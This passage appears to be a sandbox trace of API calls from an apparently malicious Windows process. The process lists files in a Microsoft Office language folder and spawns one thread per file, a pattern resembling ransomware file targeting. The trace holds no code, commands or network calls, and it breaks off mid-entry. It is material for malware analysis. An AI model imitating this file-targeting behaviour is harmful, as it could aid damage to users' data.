[0127.924] wcscpy (in: _Dest=0x20508090, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.924] wcscat (in: _Dest=0x20508090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.924] wcscat (in: _Dest=0x20508090, _Source="GRINTL32.REST.IDX_DLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" [0127.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a08 [0127.926] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0127.926] wcscmp (_String1="GRLEX.DLL", _String2=".") returned 1 [0127.926] wcscmp (_String1="GRLEX.DLL", _String2="..") returned 1 [0127.926] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9dd600, ftCreationTime.dwHighDateTime=0x1cacb3e, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdd9dd600, ftLastWriteTime.dwHighDateTime=0x1cacb3e, nFileSizeHigh=0x0, nFileSizeLow=0xbb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove Starter Template.xsn", cAlternateFileName="GROOVE~1.XSN")) returned 1 [0127.926] wcscmp (_String1="Groove Starter Template.xsn", _String2=".") returned 1 [0127.926] wcscmp (_String1="Groove Starter Template.xsn", _String2="..") returned 1 [0127.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20508130 [0127.926] wcscpy (in: _Dest=0x20508130, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.926] wcscat (in: _Dest=0x20508130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.926] wcscat (in: _Dest=0x20508130, _Source="Groove Starter Template.xsn" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" [0127.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0c [0127.928] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x22c410, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0127.928] wcscmp (_String1="GROOVE.HXS", _String2=".") returned 1 [0127.928] wcscmp (_String1="GROOVE.HXS", _String2="..") returned 1 [0127.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b869840 [0127.928] wcscpy (in: _Dest=0x1b869840, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.928] wcscat (in: _Dest=0x1b869840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.928] wcscat (in: _Dest=0x1b869840, _Source="GROOVE.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" [0127.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b869840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a10 [0127.930] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~1")) returned 1 [0127.930] wcscmp (_String1="GrooveForms5", _String2=".") returned 1 [0127.930] wcscmp (_String1="GrooveForms5", _String2="..") returned 1 [0127.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4b4a0 [0127.930] wcscpy (in: _Dest=0x1cf4b4a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.930] wcscat (in: _Dest=0x1cf4b4a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.930] wcscat (in: _Dest=0x1cf4b4a0, _Source="GrooveForms5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" [0127.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4b4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a14 [0127.931] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0127.931] wcscmp (_String1="GrooveIntlResource.dll", _String2=".") returned 1 [0127.931] wcscmp (_String1="GrooveIntlResource.dll", _String2="..") returned 1 [0127.931] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="GROOVE~1.HXC")) returned 1 [0127.931] wcscmp (_String1="GROOVE_COL.HXC", _String2=".") returned 1 [0127.932] wcscmp (_String1="GROOVE_COL.HXC", _String2="..") returned 1 [0127.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4b5c0 [0127.932] wcscpy (in: _Dest=0x1cf4b5c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.932] wcscat (in: _Dest=0x1cf4b5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.932] wcscat (in: _Dest=0x1cf4b5c0, _Source="GROOVE_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" [0127.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a18 [0127.933] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="GROOVE~1.HXT")) returned 1 [0127.933] wcscmp (_String1="GROOVE_COL.HXT", _String2=".") returned 1 [0127.933] wcscmp (_String1="GROOVE_COL.HXT", _String2="..") returned 1 [0127.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4b800 [0127.934] wcscpy (in: _Dest=0x1cf4b800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.934] wcscat (in: _Dest=0x1cf4b800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.934] wcscat (in: _Dest=0x1cf4b800, _Source="GROOVE_COL.HXT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" [0127.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a1c [0127.935] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="GROOVE~1.HXK")) returned 1 [0127.935] wcscmp (_String1="GROOVE_F_COL.HXK", _String2=".") returned 1 [0127.935] wcscmp (_String1="GROOVE_F_COL.HXK", _String2="..") returned 1 [0127.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4bf50 [0127.951] wcscpy (in: _Dest=0x1cf4bf50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.951] wcscat (in: _Dest=0x1cf4bf50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.951] wcscat (in: _Dest=0x1cf4bf50, _Source="GROOVE_F_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" [0127.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a20 [0127.953] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="GROOVE~2.HXK")) returned 1 [0127.953] wcscmp (_String1="GROOVE_K_COL.HXK", _String2=".") returned 1 [0127.953] wcscmp (_String1="GROOVE_K_COL.HXK", _String2="..") returned 1 [0127.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4bb60 [0127.954] wcscpy (in: _Dest=0x1cf4bb60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.954] wcscat (in: _Dest=0x1cf4bb60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.954] wcscat (in: _Dest=0x1cf4bb60, _Source="GROOVE_K_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" [0127.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a24 [0127.955] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0127.955] wcscmp (_String1="HVAC.VSL", _String2=".") returned 1 [0127.955] wcscmp (_String1="HVAC.VSL", _String2="..") returned 1 [0127.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a1c0 [0127.955] wcscpy (in: _Dest=0x1b86a1c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.955] wcscat (in: _Dest=0x1b86a1c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.955] wcscat (in: _Dest=0x1b86a1c0, _Source="HVAC.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" [0127.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a1c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a28 [0127.957] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0127.957] wcscmp (_String1="HVACDIFF.VRD", _String2=".") returned 1 [0127.957] wcscmp (_String1="HVACDIFF.VRD", _String2="..") returned 1 [0127.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4bec0 [0127.957] wcscpy (in: _Dest=0x1cf4bec0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.957] wcscat (in: _Dest=0x1cf4bec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.957] wcscat (in: _Dest=0x1cf4bec0, _Source="HVACDIFF.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" [0127.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a2c [0127.959] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0127.959] wcscmp (_String1="HVACDUCT.VRD", _String2=".") returned 1 [0127.959] wcscmp (_String1="HVACDUCT.VRD", _String2="..") returned 1 [0127.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4c070 [0127.959] wcscpy (in: _Dest=0x1cf4c070, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.959] wcscat (in: _Dest=0x1cf4c070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.959] wcscat (in: _Dest=0x1cf4c070, _Source="HVACDUCT.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" [0127.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30 [0127.961] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x75790, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFINTL.DLL", cAlternateFileName="")) returned 1 [0127.961] wcscmp (_String1="INFINTL.DLL", _String2=".") returned 1 [0127.961] wcscmp (_String1="INFINTL.DLL", _String2="..") returned 1 [0127.961] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x174d06, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.HXS", cAlternateFileName="")) returned 1 [0127.961] wcscmp (_String1="INFOPATH.HXS", _String2=".") returned 1 [0127.961] wcscmp (_String1="INFOPATH.HXS", _String2="..") returned 1 [0127.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4bfe0 [0127.961] wcscpy (in: _Dest=0x1cf4bfe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.962] wcscat (in: _Dest=0x1cf4bfe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.962] wcscat (in: _Dest=0x1cf4bfe0, _Source="INFOPATH.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" [0127.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a34 [0127.963] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x697e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR.HXS", cAlternateFileName="INFOPA~1.HXS")) returned 1 [0127.963] wcscmp (_String1="INFOPATHEDITOR.HXS", _String2=".") returned 1 [0127.963] wcscmp (_String1="INFOPATHEDITOR.HXS", _String2="..") returned 1 [0127.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4c190 [0127.963] wcscpy (in: _Dest=0x1cf4c190, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.963] wcscat (in: _Dest=0x1cf4c190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.963] wcscat (in: _Dest=0x1cf4c190, _Source="INFOPATHEDITOR.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" [0127.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a38 [0127.964] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXC", cAlternateFileName="INFOPA~2.HXC")) returned 1 [0127.964] wcscmp (_String1="INFOPATHEDITOR_COL.HXC", _String2=".") returned 1 [0127.964] wcscmp (_String1="INFOPATHEDITOR_COL.HXC", _String2="..") returned 1 [0127.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205081d0 [0127.965] wcscpy (in: _Dest=0x205081d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.965] wcscat (in: _Dest=0x205081d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.965] wcscat (in: _Dest=0x205081d0, _Source="INFOPATHEDITOR_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" [0127.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205081d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c [0127.966] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXT", cAlternateFileName="INFOPA~2.HXT")) returned 1 [0127.966] wcscmp (_String1="INFOPATHEDITOR_COL.HXT", _String2=".") returned 1 [0127.966] wcscmp (_String1="INFOPATHEDITOR_COL.HXT", _String2="..") returned 1 [0127.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20508270 [0127.966] wcscpy (in: _Dest=0x20508270, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.966] wcscat (in: _Dest=0x20508270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.966] wcscat (in: _Dest=0x20508270, _Source="INFOPATHEDITOR_COL.HXT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" [0127.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, 